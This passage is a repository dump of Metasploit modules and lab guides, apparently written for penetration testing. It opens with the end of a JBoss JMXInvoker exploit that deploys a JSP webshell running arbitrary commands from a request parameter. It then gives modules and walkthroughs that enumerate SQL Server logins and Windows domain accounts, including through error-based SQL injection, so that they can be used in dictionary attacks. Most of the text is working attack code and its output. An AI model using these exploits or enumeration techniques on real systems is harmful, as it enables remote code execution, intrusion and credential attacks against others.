send_serialized_request('removestagerdirectory.bin', replace_values) 182 | 183 | handler 184 | end 185 | 186 | def generate_stager(name_param, content_param) 187 | war_file = rand_text_alpha(4+rand(4)) 188 | file_content = rand_text_alpha(4+rand(4)) 189 | jboss_home = rand_text_alpha(4+rand(4)) 190 | decoded_content = rand_text_alpha(4+rand(4)) 191 | path = rand_text_alpha(4+rand(4)) 192 | fos = rand_text_alpha(4+rand(4)) 193 | name = rand_text_alpha(4+rand(4)) 194 | file = rand_text_alpha(4+rand(4)) 195 | 196 | # nullbind mod - just included basic jsp webshell code 197 | stager_script = <<-EOT 198 | <%@ page import="java.util.*,java.io.*"%> 199 | 200 | 201 |
202 | 203 | 204 |
205 |
206 | <%
207 | if (request.getParameter("netspicmd") != null) {
208 |         out.println("Command: " + request.getParameter("netspicmd") + "
"); 209 | Process p = Runtime.getRuntime().exec(request.getParameter("netspicmd")); 210 | OutputStream os = p.getOutputStream(); 211 | InputStream in = p.getInputStream(); 212 | DataInputStream dis = new DataInputStream(in); 213 | String disr = dis.readLine(); 214 | while ( disr != null ) { 215 | out.println(disr); 216 | disr = dis.readLine(); 217 | } 218 | } 219 | %> 220 |
221 | 222 | EOT 223 | 224 | # The script must be exactly 810 characters long, otherwise we might have serialization issues 225 | # Therefore we fill the rest wit spaces 226 | spaces = " " * (810 - stager_script.length) 227 | stager_script << spaces 228 | end 229 | 230 | 231 | def send_serialized_request(file_name , replace_params = {}) 232 | path = File.join( Msf::Config.data_directory, "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name) 233 | data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) } 234 | 235 | replace_params.each { |key, value| data.gsub!(key, value) } 236 | 237 | res = send_request_cgi({ 238 | 'uri' => normalize_uri(target_uri.path), 239 | 'method' => 'POST', 240 | 'data' => data, 241 | 'headers' => 242 | { 243 | 'ContentType:' => 'application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation', 244 | 'Accept' => 'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2' 245 | } 246 | }, 25) 247 | 248 | 249 | if (not res) or (res.code != 200) 250 | print_error("Failed: Error requesting preserialized request #{file_name}") 251 | return nil 252 | end 253 | 254 | res 255 | end 256 | 257 | 258 | def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil) 259 | # JBoss might need some time for the deployment. Try 5 times at most and 260 | # wait 5 seconds inbetween tries 261 | num_attempts.times do |attempt| 262 | if (verb == "POST") 263 | res = send_request_cgi( 264 | { 265 | 'uri' => uri, 266 | 'method' => verb, 267 | 'data' => data 268 | }, 5) 269 | else 270 | uri += "?#{data}" unless data.nil? 271 | res = send_request_cgi( 272 | { 273 | 'uri' => uri, 274 | 'method' => verb 275 | }, 30) 276 | end 277 | 278 | msg = nil 279 | if (!res) 280 | msg = "Execution failed on #{uri} [No Response]" 281 | elsif (res.code < 200 or res.code >= 300) 282 | msg = "http request failed to #{uri} [#{res.code}]" 283 | elsif (res.code == 200) 284 | print_status("Successfully called '#{uri}'") if datastore['VERBOSE'] 285 | return res 286 | end 287 | 288 | if (attempt < num_attempts - 1) 289 | msg << ", retrying in 5 seconds..." 290 | print_status(msg) if datastore['VERBOSE'] 291 | select(nil, nil, nil, 5) 292 | else 293 | print_error(msg) 294 | return res 295 | end 296 | end 297 | end 298 | 299 | 300 | def auto_target 301 | print_status("Attempting to automatically select a target") 302 | 303 | #plat = detect_platform() #nullbind mod - hardcode windows and platform 304 | plat = 'win' 305 | #arch = detect_architecture() #nullbind mod - hardcode arch as ARCH_x86 306 | arch = ARCH_X86 307 | 308 | return nil if (not arch or not plat) 309 | 310 | # see if we have a match 311 | targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) } 312 | 313 | # no matching target found 314 | return nil 315 | end 316 | 317 | 318 | # Try to autodetect the target platform 319 | def detect_platform 320 | print_status("Attempting to automatically detect the platform") 321 | res = send_serialized_request("osname.bin") 322 | 323 | if (res.body =~ /(Linux|FreeBSD|Windows)/i) 324 | os = $1 325 | if (os =~ /Linux/i) 326 | return 'linux' 327 | elsif (os =~ /FreeBSD/i) 328 | return 'linux' 329 | elsif (os =~ /Windows/i) 330 | return 'win' 331 | end 332 | end 333 | nil 334 | end 335 | 336 | 337 | # Try to autodetect the architecture 338 | def detect_architecture() 339 | print_status("Attempting to automatically detect the architecture") 340 | res = send_serialized_request("osarch.bin") 341 | if (res.body =~ /(i386|x86)/i) 342 | arch = $1 343 | if (arch =~ /i386|x86/i) 344 | return ARCH_X86 345 | # TODO, more 346 | end 347 | end 348 | nil 349 | end 350 | end 351 | -------------------------------------------------------------------------------- /mssql_enum_domain_accounts_sqli_lab.txt: -------------------------------------------------------------------------------- 1 | SQL Server: Enumerating Windows Domain Accounts Through SQL Server with a Low Privilege Login via Error Based SQLi 2 | Lab setup guide 3 | 4 | Below I've provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenario exploited by the mssql_enum_domain_accounts_sqli.rb module. 5 | 6 | --------------------------- 7 | Setup the Domain and server 8 | --------------------------- 9 | 1. Setup a Windows domain. Hopefully you already have a lab setup with a Windows domain/ADS. If not you can follow this guide to setup a DC:http://social.technet.microsoft.com/wiki/contents/articles/22622.building-your-first-domain-controller-on-2012-r2.aspx 10 | 11 | 2. Next, Add a server to the domain that can be used as the sql server. http://technet.microsoft.com/en-us/library/bb456990.aspx 12 | 13 | 3. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio on the system just added to the domain. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx 14 | 15 | 4. Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab. 16 | 17 | 5. Make sure to enable the tcp protocol so that module can connect to the listener. 18 | http://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx 19 | 20 | 21 | --------------------------- 22 | Setup the Database 23 | --------------------------- 24 | 1. Log into the SQL Server with the "sa" account setup during installation using the SQL Server Management Studio application. 25 | 26 | 3. Press the "New Query" button and use the TSQL below to create a database named "MyAppDb" for the lab. 27 | 28 | -- Create database 29 | CREATE DATABASE MyAppDb 30 | 31 | 2. Press the "New Query" button and use the TSQL below to create sql login that owns the db. 32 | 33 | -- Create login 34 | CREATE LOGIN MyUser1 WITH PASSWORD = 'MyPassword!'; 35 | 36 | -- Setup MyAppUser1 the db_owner role in MyAppDb 37 | USE MyAppDb 38 | ALTER LOGIN [MyUser1] with default_database = [MyAppDb]; 39 | CREATE USER [MyUser1] FROM LOGIN [MyUser1]; 40 | EXEC sp_addrolemember [db_owner], [MyUser1]; 41 | 42 | 4. Add a table with records 43 | 44 | -- Create table 45 | CREATE TABLE dbo.NOCList 46 | (ID INT IDENTITY PRIMARY KEY,SpyName varchar(MAX) NOT NULL,RealName varchar(MAX) NULL) 47 | 48 | -- Add sample records to table 49 | INSERT dbo.NOCList (SpyName, RealName) 50 | VALUES ('James Bond','Sean Connery') 51 | INSERT dbo.NOCList (SpyName, RealName) 52 | VALUES ('Ethan Hunt','Tom Cruise') 53 | INSERT dbo.NOCList (SpyName, RealName) 54 | VALUES ('Jason Bourne','Matt Damon') 55 | 56 | 57 | ---------------- 58 | Web Server Setup 59 | ---------------- 60 | 1. Setup a local IIS server 61 | 2. Make sure its configured to process asp pages 62 | 3. Download testing.asp to web root from https://raw.githubusercontent.com/nullbind/Metasploit-Modules/master/testing2.asp 63 | 4. Verify the page works by accessing: http://127.0.0.1/testing2.asp?id=1 64 | 5. Verify the id parameter is injectable and error are returned: http://127.0.0.1/testing2.asp?id=@@version 65 | 66 | ------------------ 67 | Test Module 68 | ------------------ 69 | 70 | 6. Test out the metasploit module to enumerate domain accounts. 71 | Note: For the test set the fuzznum to 1000, but you would set it to 10000 72 | or above in a real environment. 73 | 74 | use auxiliary/admin/mssql/mssql_enum_windows_domain_accounts_sqli 75 | msf auxiliary(mssql_enum_windows_domain_accounts_sqli) > set rhost 10.2.9.101 76 | msf auxiliary(mssql_enum_windows_domain_accounts_sqli) > set GET_PATH /testing2.asp?id=1+and+1=[SQLi];-- 77 | msf auxiliary(mssql_enum_windows_domain_accounts_sqli) > run 78 | 79 | [*] 10.2.9.101:80 - Grabbing the server and domain name... 80 | [+] 10.2.9.101:80 - Server name: LVA 81 | [+] 10.2.9.101:80 - Domain name: DEMO 82 | [*] 10.2.9.101:80 - Grabbing the SID for the domain... 83 | [+] 10.2.9.101:80 - Domain sid: 0105000000000005150000009CC30DD479441EDEB31027D0 84 | [*] 10.2.9.101:80 - Brute forcing 1000 RIDs through the SQL Server, be patient... 85 | [*] 10.2.9.101:80 - DEMO\administrator 86 | [*] 10.2.9.101:80 - DEMO\Guest 87 | [*] 10.2.9.101:80 - DEMO\krbtgt 88 | [*] 10.2.9.101:80 - DEMO\Domain Admins 89 | [*] 10.2.9.101:80 - DEMO\Domain Users 90 | [*] 10.2.9.101:80 - DEMO\Domain Guests 91 | [*] 10.2.9.101:80 - DEMO\Domain Computers 92 | [*] 10.2.9.101:80 - DEMO\Domain Controllers 93 | [*] 10.2.9.101:80 - DEMO\Cert Publishers 94 | [*] 10.2.9.101:80 - DEMO\Schema Admins 95 | [*] 10.2.9.101:80 - DEMO\Enterprise Admins 96 | [*] 10.2.9.101:80 - DEMO\Group Policy Creator Owners 97 | [*] 10.2.9.101:80 - DEMO\RAS and IAS Servers 98 | [*] 10.2.9.101:80 - DEMO\HelpServicesGroup 99 | [+] 10.2.9.101:80 - 14 user accounts, groups, and computer accounts were found. 100 | [*] Query results have been saved to: /root/.msf4/loot/20141125095848_default_10.2.9.101_windows_domain_a_845435.txt 101 | [*] Auxiliary module execution completed 102 | msf auxiliary(mssql_enum_windows_domain_accounts_sqli) > 103 | 104 | -------------------------------------------------------------------------------- /mssql_enum_sql_logins.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'msf/core/exploit/mssql_commands' 8 | 9 | class Metasploit3 < Msf::Auxiliary 10 | 11 | include Msf::Exploit::Remote::MSSQL 12 | 13 | def initialize(info = {}) 14 | super(update_info(info, 15 | 'Name' => 'Microsoft SQL Server - Enumerate SQL Logins', 16 | 'Description' => %q{ 17 | This module can be used to obtain a list of all logins from a SQL Server with any 18 | login. Selecting all of the logins from the master..syslogins table is restricted 19 | to sysadmins. However, logins with the PUBLIC role (everyone) can quickly enumerate 20 | all SQL Server logins using the SUSER_SNAME function by fuzzing the principal_id parameter. 21 | This is pretty simple, because the principal ids assigned to logins are incremental. Once 22 | logins have been enumerated they can be verified via sp_defaultdb error ananlysis. 23 | This is important, because not all of the principal ids resolve to SQL logins. Some resolve 24 | to roles etc. Once logins have been enumerated they can be used in dictionary attacks. 25 | }, 26 | 'Author' => [ 'nullbind '], 27 | 'License' => MSF_LICENSE, 28 | 'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']] 29 | )) 30 | 31 | register_options( 32 | [ 33 | OptInt.new('FuzzNum', [ true, 'Number of principal_ids to fuzz.', '300']), 34 | ], self.class) 35 | end 36 | 37 | def run 38 | # Check connection and issue initial query 39 | print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") 40 | if mssql_login_datastore 41 | print_good('Connected.') 42 | else 43 | print_error('Login was unsuccessful. Check your credentials.') 44 | disconnect 45 | return 46 | end 47 | 48 | # Query for sysadmin status 49 | print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...") 50 | user_status = check_sysadmin 51 | 52 | # Check if user has sysadmin role 53 | if user_status == 1 54 | print_good("#{datastore['USERNAME']} is a sysadmin.") 55 | else 56 | print_status("#{datastore['USERNAME']} is NOT a sysadmin.") 57 | end 58 | 59 | # Get a list if sql server logins using SUSER_NAME() 60 | print_status("Setup to fuzz #{datastore['FuzzNum']} SQL Server logins.") 61 | print_status("Enumerating logins...") 62 | sql_logins_list = get_sql_logins 63 | if sql_logins_list.nil? || sql_logins_list.length == 0 64 | print_error('Sorry, somethings went wrong - SQL Server logins were found.') 65 | disconnect 66 | return 67 | else 68 | # Print number of initial logins found 69 | print_good("#{sql_logins_list.length} initial SQL Server logins were found.") 70 | 71 | sql_logins_list.sort.each do |sql_login| 72 | if datastore['VERBOSE'] 73 | print_status(" - #{sql_login}") 74 | end 75 | end 76 | end 77 | 78 | # Verify the enumerated SQL Logins using sp_defaultdb error ananlysis 79 | print_status('Verifying the SQL Server logins...') 80 | sql_logins_list_verified = verify_logins(sql_logins_list) 81 | if sql_logins_list_verified.nil? 82 | print_error("Sorry, no SQL Server logins could be verified.") 83 | disconnect 84 | return 85 | else 86 | 87 | # Display list verified SQL Server logins 88 | print_good("#{sql_logins_list_verified.length} SQL Server logins were verified:") 89 | sql_logins_list_verified.sort.each do |sql_login| 90 | print_status(" - #{sql_login}") 91 | end 92 | end 93 | 94 | disconnect 95 | return 96 | end 97 | 98 | # Checks if user is a sysadmin 99 | def check_sysadmin 100 | # Setup query to check for sysadmin 101 | sql = "select is_srvrolemember('sysadmin') as IsSysAdmin" 102 | 103 | # Run query 104 | result = mssql_query(sql) 105 | 106 | # Parse query results 107 | parse_results = result[:rows] 108 | status = parse_results[0][0] 109 | 110 | # Return status 111 | return status 112 | end 113 | 114 | # Gets trusted databases owned by sysadmins 115 | def get_sql_logins 116 | 117 | # Create array to store the sql logins 118 | sql_logins = [] 119 | 120 | # Fuzz the principal_id parameter passed to the SUSER_NAME function 121 | (1..datastore['FuzzNum']).each do|principal_id| 122 | 123 | # Setup query 124 | sql = "SELECT SUSER_NAME(#{principal_id}) as login" 125 | 126 | # Execute query 127 | result = mssql_query(sql) 128 | 129 | # Parse results 130 | parse_results = result[:rows] 131 | sql_login = parse_results[0][0] 132 | 133 | # Add to sql server login list 134 | sql_logins.push(sql_login) unless sql_logins.include?(sql_login) 135 | end 136 | 137 | # Return list of logins 138 | sql_logins 139 | 140 | end 141 | 142 | # Checks if user has the db_owner role 143 | def verify_logins(sql_logins_list) 144 | 145 | # Create array for later use 146 | verified_sql_logins = [] 147 | 148 | # Check if the user has the db_owner role is any databases 149 | sql_logins_list.each do |sql_login| 150 | 151 | # Setup query 152 | sql = "EXEC sp_defaultdb '#{sql_login}', 'NOTAREALDATABASE1234ABCD'" 153 | 154 | # Execute query 155 | result = mssql_query(sql) 156 | 157 | # Parse results 158 | parse_results = result[:errors] 159 | result = parse_results[0] 160 | 161 | # Check if sid resolved to a sql login 162 | if result.include? 'NOTAREALDATABASE1234ABCD' 163 | verified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login) 164 | end 165 | 166 | # Check if sid resolved to a sql login 167 | if result.include? 'alter the login' 168 | 169 | # Add sql server login to verified list 170 | verified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login) 171 | end 172 | end 173 | verified_sql_logins 174 | end 175 | end 176 | -------------------------------------------------------------------------------- /mssql_enum_sql_logins_lab.txt: -------------------------------------------------------------------------------- 1 | SQL Server: Enumerating SQL Logins with a Low Privilege Login 2 | Lab setup guide 3 | 4 | Below I've provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenario exploited by the mssql_enum_sql_logins.rb module. 5 | 6 | 1. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx 7 | 8 | 2. Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab. 9 | 10 | 3. Make sure to enable the tcp protocol so that module can connect to the listener. 11 | http://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx 12 | 13 | 4. Log into the SQL Server with the "sa" account setup during installation using the SQL Server Management Studio application. 14 | 15 | 5. Press the "New Query" button and use the TSQL below to create five sql server logins. 16 | 17 | -- Create logins 18 | CREATE LOGIN MyAppUser1 WITH PASSWORD = 'MyPassword!'; 19 | CREATE LOGIN MyAppUser2 WITH PASSWORD = 'MyPassword!'; 20 | CREATE LOGIN MyAppUser3 WITH PASSWORD = 'MyPassword!'; 21 | CREATE LOGIN MyAppUser4 WITH PASSWORD = 'MyPassword!'; 22 | CREATE LOGIN MyAppUser5 WITH PASSWORD = 'MyPassword!'; 23 | 24 | 4. Log into the SQL Server with the "MyAppUser1" account and attempt to view all users. You should only be able to view the "MyAppUser1" account and sa. 25 | 26 | -- List sql logins 27 | SELECT * FROM master..syslogins; 28 | 29 | 5. Test out the metasploit module to enumerate other sql server logins. 30 | 31 | use auxiliary/admin/mssql/mssql_enum_sql_logins 32 | msf auxiliary(mssql_enum_sql_logins) > set rhost 33 | msf auxiliary(mssql_enum_sql_logins) > set rport 34 | msf auxiliary(mssql_enum_sql_logins) > set username MyAppUser1 35 | msf auxiliary(mssql_enum_sql_logins) > set password MyPassword! 36 | 37 | msf auxiliary(mssql_enum_sql_logins) > run 38 | 39 | [*] Attempting to connect to the database server at 10.2.9.101:1433 as myappuser1... 40 | [+] Connected. 41 | [*] Checking if myappuser1 has the sysadmin role... 42 | [*] myappuser1 is NOT a sysadmin. 43 | [*] Setup to fuzz 300 SQL Server logins. 44 | [*] Enumerating logins... 45 | [+] 21 initial SQL Server logins were found. 46 | [*] Verifying the SQL Server logins... 47 | [+] 13 SQL Server logins were verified: 48 | [*] - ##MS_AgentSigningCertificate## 49 | [*] - ##MS_SQLAuthenticatorCertificate## 50 | [*] - ##MS_SQLReplicationSigningCertificate## 51 | [*] - ##MS_SQLResourceSigningCertificate## 52 | [*] - BUILTIN\Users 53 | [*] - BUILTIN\administrators 54 | [*] - MyAppUser1 55 | [*] - MyAppUser2 56 | [*] - MyAppUser3 57 | [*] - MyAppUser4 58 | [*] - MyAppUser5 59 | [*] - NT AUTHORITY\SYSTEM 60 | [*] - sa 61 | [*] Auxiliary module execution completed 62 | 63 | -------------------------------------------------------------------------------- /mssql_enum_windows_domain_accounts.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'msf/core/exploit/mssql_commands' 8 | 9 | class Metasploit3 < Msf::Auxiliary 10 | 11 | include Msf::Exploit::Remote::MSSQL 12 | include Msf::Auxiliary::Report 13 | 14 | def initialize(info = {}) 15 | super(update_info(info, 16 | 'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration', 17 | 'Description' => %q{ 18 | This module can be used to brute force RIDs associated with the domain of 19 | the SQL Server using the SUSER_SNAME function. This is similar to the 20 | smb_lookupsid module, but executed through SQL Server queries as any user 21 | with the PUBLIC role (everyone). Information that can be enumerated includes 22 | Windows domain users, groups, and computer accounts. Enumerated accounts can 23 | then be used in online dictionary attacks. 24 | }, 25 | 'Author' => [ 'nullbind '], 26 | 'License' => MSF_LICENSE, 27 | 'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']] 28 | )) 29 | 30 | register_options( 31 | [ 32 | OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]), 33 | ], self.class) 34 | end 35 | 36 | def run 37 | # Check connection and issue initial query 38 | print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") 39 | if mssql_login_datastore 40 | print_good('Connected.') 41 | else 42 | print_error('Login was unsuccessful. Check your credentials.') 43 | disconnect 44 | return 45 | end 46 | 47 | # Query for sysadmin status 48 | print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...") 49 | user_status = check_sysadmin 50 | 51 | # Check if user has sysadmin role 52 | if user_status == 1 53 | print_good("#{datastore['USERNAME']} is a sysadmin.") 54 | else 55 | print_status("#{datastore['USERNAME']} is NOT a sysadmin.") 56 | end 57 | 58 | # Get the server name 59 | sql_server_name = get_sql_server_name 60 | print_status("SQL Server Name: #{sql_server_name}") 61 | 62 | # Get the domain name 63 | sql_server_domain = get_windows_domain 64 | if sql_server_domain.nil? 65 | print_error("Could not recover the SQL Server's domain.") 66 | disconnect 67 | return 68 | else 69 | print_status("Domain Name: #{sql_server_domain}") 70 | end 71 | 72 | # Check if the domain and hostname are the same 73 | if sql_server_name == sql_server_domain 74 | print_error("The SQL Server does not appear to be part of a Windows domain.") 75 | disconnect 76 | return 77 | end 78 | 79 | # Get the base sid for the domain 80 | windows_domain_sid = get_windows_domain_sid(sql_server_domain) 81 | if windows_domain_sid.nil? 82 | print_error("Could not recover the SQL Server's domain sid.") 83 | disconnect 84 | return 85 | else 86 | print_good("Found the domain sid: #{windows_domain_sid}") 87 | end 88 | 89 | # Get a list of windows users, groups, and computer accounts using SUSER_NAME() 90 | print_status("Brute forcing #{datastore['FuzzNum']} RIDs through the SQL Server, be patient...") 91 | win_domain_user_list = get_win_domain_users(windows_domain_sid) 92 | if win_domain_user_list.nil? || win_domain_user_list.empty? 93 | print_error('Sorry, no Windows domain accounts were found, or DC could not be contacted.') 94 | disconnect 95 | return 96 | else 97 | 98 | # Print number of objects found and write to a file 99 | print_good("#{win_domain_user_list.length} user accounts, groups, and computer accounts were found.") 100 | 101 | win_domain_user_list.sort.each do |windows_login| 102 | if datastore['VERBOSE'] 103 | print_status(" - #{windows_login}") 104 | end 105 | end 106 | 107 | # Create table for report 108 | windows_domain_login_table = Rex::Ui::Text::Table.new( 109 | 'Header' => 'Windows Domain Accounts', 110 | 'Ident' => 1, 111 | 'Columns' => ['name'] 112 | ) 113 | 114 | # Add brute forced names to table 115 | win_domain_user_list.each do |object_name| 116 | windows_domain_login_table << [object_name] 117 | end 118 | 119 | # Create output file 120 | this_service = nil 121 | if framework.db and framework.db.active 122 | this_service = report_service( 123 | :host => rhost, 124 | :port => rport, 125 | :name => 'mssql', 126 | :proto => 'tcp' 127 | ) 128 | end 129 | filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_windows_domain_accounts.csv" 130 | path = store_loot("windows_domain_accounts", "text/plain", datastore['RHOST'], windows_domain_login_table.to_csv, filename, "SQL Server query results",this_service) 131 | print_status("Query results have been saved to: #{path}") 132 | end 133 | 134 | disconnect 135 | end 136 | 137 | # Checks if user is a sysadmin 138 | def check_sysadmin 139 | 140 | # Setup query to check for sysadmin 141 | sql = "select is_srvrolemember('sysadmin') as IsSysAdmin" 142 | 143 | # Run query 144 | result = mssql_query(sql) 145 | 146 | # Parse query results 147 | parse_results = result[:rows] 148 | status = parse_results[0][0] 149 | 150 | # Return status 151 | return status 152 | end 153 | 154 | # Get list of windows accounts,groups,and computer accounts 155 | def get_win_domain_users(windows_domain_sid) 156 | 157 | # Create array to store the windws accounts etc 158 | windows_logins = [] 159 | 160 | # Fuzz the principal_id parameter passed to the SUSER_NAME function 161 | (500..datastore['FuzzNum']).each do |principal_id| 162 | 163 | # Convert number to hex and fix order 164 | principal_id_hex = "%02X" % principal_id 165 | principal_id_hex_pad = (principal_id_hex.size.even? ? principal_id_hex : ("0"+ principal_id_hex)) 166 | principal_id_clean = principal_id_hex_pad.scan(/(..)/).reverse.flatten.join 167 | 168 | # Add padding 169 | principal_id_hex_padded2 = principal_id_clean.ljust(8, '0') 170 | 171 | # Create full sid 172 | win_sid = "0x#{windows_domain_sid}#{principal_id_hex_padded2}" 173 | 174 | # Return if sid does not resolve correctly for a domain 175 | if win_sid.length < 48 176 | return nil 177 | end 178 | 179 | # Setup query 180 | sql = "SELECT SUSER_SNAME(#{win_sid}) as name" 181 | 182 | # Execute query 183 | result = mssql_query(sql) 184 | 185 | # Parse results 186 | parse_results = result[:rows] 187 | windows_login = parse_results[0][0] 188 | 189 | # Print account,group,or computer account etc 190 | if windows_login.length != 0 191 | print_status(" - #{windows_login}") 192 | 193 | # Verbose output 194 | if datastore['VERBOSE'] 195 | print_status("Test sid: #{win_sid}") 196 | end 197 | end 198 | 199 | # Add to windows domain object list 200 | windows_logins.push(windows_login) unless windows_logins.include?(windows_login) 201 | end 202 | 203 | # Return list of logins 204 | windows_logins 205 | end 206 | 207 | # Get windows domain 208 | def get_windows_domain 209 | 210 | # Setup query to check for sysadmin 211 | sql = "SELECT DEFAULT_DOMAIN() as mydomain" 212 | 213 | # Run query 214 | result = mssql_query(sql) 215 | 216 | # Parse query results 217 | parse_results = result[:rows] 218 | sql_server_domain = parse_results[0][0] 219 | 220 | # Return domain 221 | sql_server_domain 222 | end 223 | 224 | # Get the sql server's hostname 225 | def get_sql_server_name 226 | 227 | # Setup query to check for sysadmin 228 | sql = "SELECT @@servername" 229 | 230 | # Run query 231 | result = mssql_query(sql) 232 | 233 | # Parse query results 234 | parse_results = result[:rows] 235 | sql_instance_name = parse_results[0][0] 236 | sql_server_name = sql_instance_name.split('\\')[0] 237 | 238 | # Return servername 239 | sql_server_name 240 | end 241 | 242 | # Get windows domain 243 | def get_windows_domain_sid(sql_server_domain) 244 | 245 | # Set group 246 | domain_group = "#{sql_server_domain}\\Domain Admins" 247 | 248 | # Setup query to check for sysadmin 249 | sql = "select SUSER_SID('#{domain_group}') as dasid" 250 | 251 | # Run query 252 | result = mssql_query(sql) 253 | 254 | # Parse query results 255 | parse_results = result[:rows] 256 | object_sid = parse_results[0][0] 257 | domain_sid = object_sid[0..47] 258 | 259 | # Return if sid does not resolve for a domain 260 | if domain_sid.length == 0 261 | return nil 262 | end 263 | 264 | # Return domain sid 265 | domain_sid 266 | end 267 | end 268 | -------------------------------------------------------------------------------- /mssql_enum_windows_domain_accounts_lab.txt: -------------------------------------------------------------------------------- 1 | SQL Server: Enumerating Windows Domain Accounts Through SQL Server with a Low Privilege Login 2 | Lab setup guide 3 | 4 | Below I've provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenario exploited by the mssql_enum_windows_domain_accounts.rb module. 5 | 6 | 1. Setup a Windows domain. Hopefully you already have a lab setup with a Windows domain/ADS. If not you can follow this guide to setup a DC:http://social.technet.microsoft.com/wiki/contents/articles/22622.building-your-first-domain-controller-on-2012-r2.aspx 7 | 8 | 2. Next, Add a server to the domain that can be used as the sql server. http://technet.microsoft.com/en-us/library/bb456990.aspx 9 | 10 | 3. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio on the system just added to the domain. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx 11 | 12 | 4. Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab. 13 | 14 | 5. Make sure to enable the tcp protocol so that module can connect to the listener. 15 | http://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx 16 | 17 | 6. Log into the SQL Server with the "sa" account setup during installation using the SQL Server Management Studio application. 18 | 19 | 5. Press the "New Query" button and use the TSQL below to create a least privilege sql login. Then log out. 20 | 21 | -- Create logins 22 | CREATE LOGIN MyAppUser1 WITH PASSWORD = 'MyPassword!'; 23 | 24 | 25 | 6. Test out the metasploit module to enumerate other sql server logins. 26 | Note: For the test set the fuzznum to 1000, but you would set it to 10000 27 | or above in a real environment. 28 | 29 | use auxiliary/admin/mssql/mssql_enum_windows_domain_accounts 30 | msf auxiliary(mssql_enum_windows_domain_accounts) > set rhost 31 | msf auxiliary(mssql_enum_windows_domain_accounts) > set rport 32 | msf auxiliary(mssql_enum_windows_domain_accounts) > set username MyAppUser1 33 | msf auxiliary(mssql_enum_windows_domain_accounts) > set password MyPassword! 34 | msf auxiliary(mssql_enum_windows_domain_accounts) > set fuzznum 1000 35 | msf auxiliary(mssql_enum_windows_domain_accounts) > run 36 | 37 | [*] Attempting to connect to the database server at 10.2.9.101:1433 as myappuser1... 38 | [+] Connected. 39 | [*] Checking if myappuser1 has the sysadmin role... 40 | [*] myappuser1 is NOT a sysadmin. 41 | [*] SQL Server Name: LVA 42 | [*] Domain Name: DEMO 43 | [+] Found the domain sid: 0105000000000005150000009cc30dd479441edeb31027d0 44 | [*] Brute forcing 1000 RIDs through the SQL Server, be patient... 45 | [*] - DEMO\administrator 46 | [*] - DEMO\Guest 47 | [*] - DEMO\krbtgt 48 | [*] - DEMO\Domain Admins 49 | [*] - DEMO\Domain Users 50 | [*] - DEMO\Domain Guests 51 | [*] - DEMO\Domain Computers 52 | [*] - DEMO\Domain Controllers 53 | [*] - DEMO\Cert Publishers 54 | [*] - DEMO\Schema Admins 55 | [*] - DEMO\Enterprise Admins 56 | [*] - DEMO\Group Policy Creator Owners 57 | [*] - DEMO\RAS and IAS Servers 58 | [*] - DEMO\HelpServicesGroup 59 | [+] 14 user, groups, and computer accounts were found. 60 | [*] Query results have been saved to: /root/.msf4/loot/20141117105424_default_10.2.9.101_windows_domain_a_592368.txt 61 | [*] Auxiliary module execution completed 62 | msf auxiliary(mssql_enum_windows_domain_accounts) > 63 | 64 | 7. Review output file 65 | cat /root/.msf4/loot/20141117105424_default_10.2.9.101_windows_domain_a_592368.txt 66 | 67 | name 68 | "DEMO\administrator" 69 | "DEMO\Guest" 70 | "DEMO\krbtgt" 71 | "DEMO\Domain Admins" 72 | "DEMO\Domain Users" 73 | "DEMO\Domain Guests" 74 | "DEMO\Domain Computers" 75 | "DEMO\Domain Controllers" 76 | "DEMO\Cert Publishers" 77 | "DEMO\Schema Admins" 78 | "DEMO\Enterprise Admins" 79 | "DEMO\Group Policy Creator Owners" 80 | "DEMO\RAS and IAS Servers" 81 | "DEMO\HelpServicesGroup" 82 | 83 | -------------------------------------------------------------------------------- /mssql_enum_windows_domain_accounts_sqli.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'msf/core/exploit/mssql_commands' 8 | 9 | class Metasploit3 < Msf::Auxiliary 10 | 11 | include Msf::Exploit::Remote::MSSQL_SQLI 12 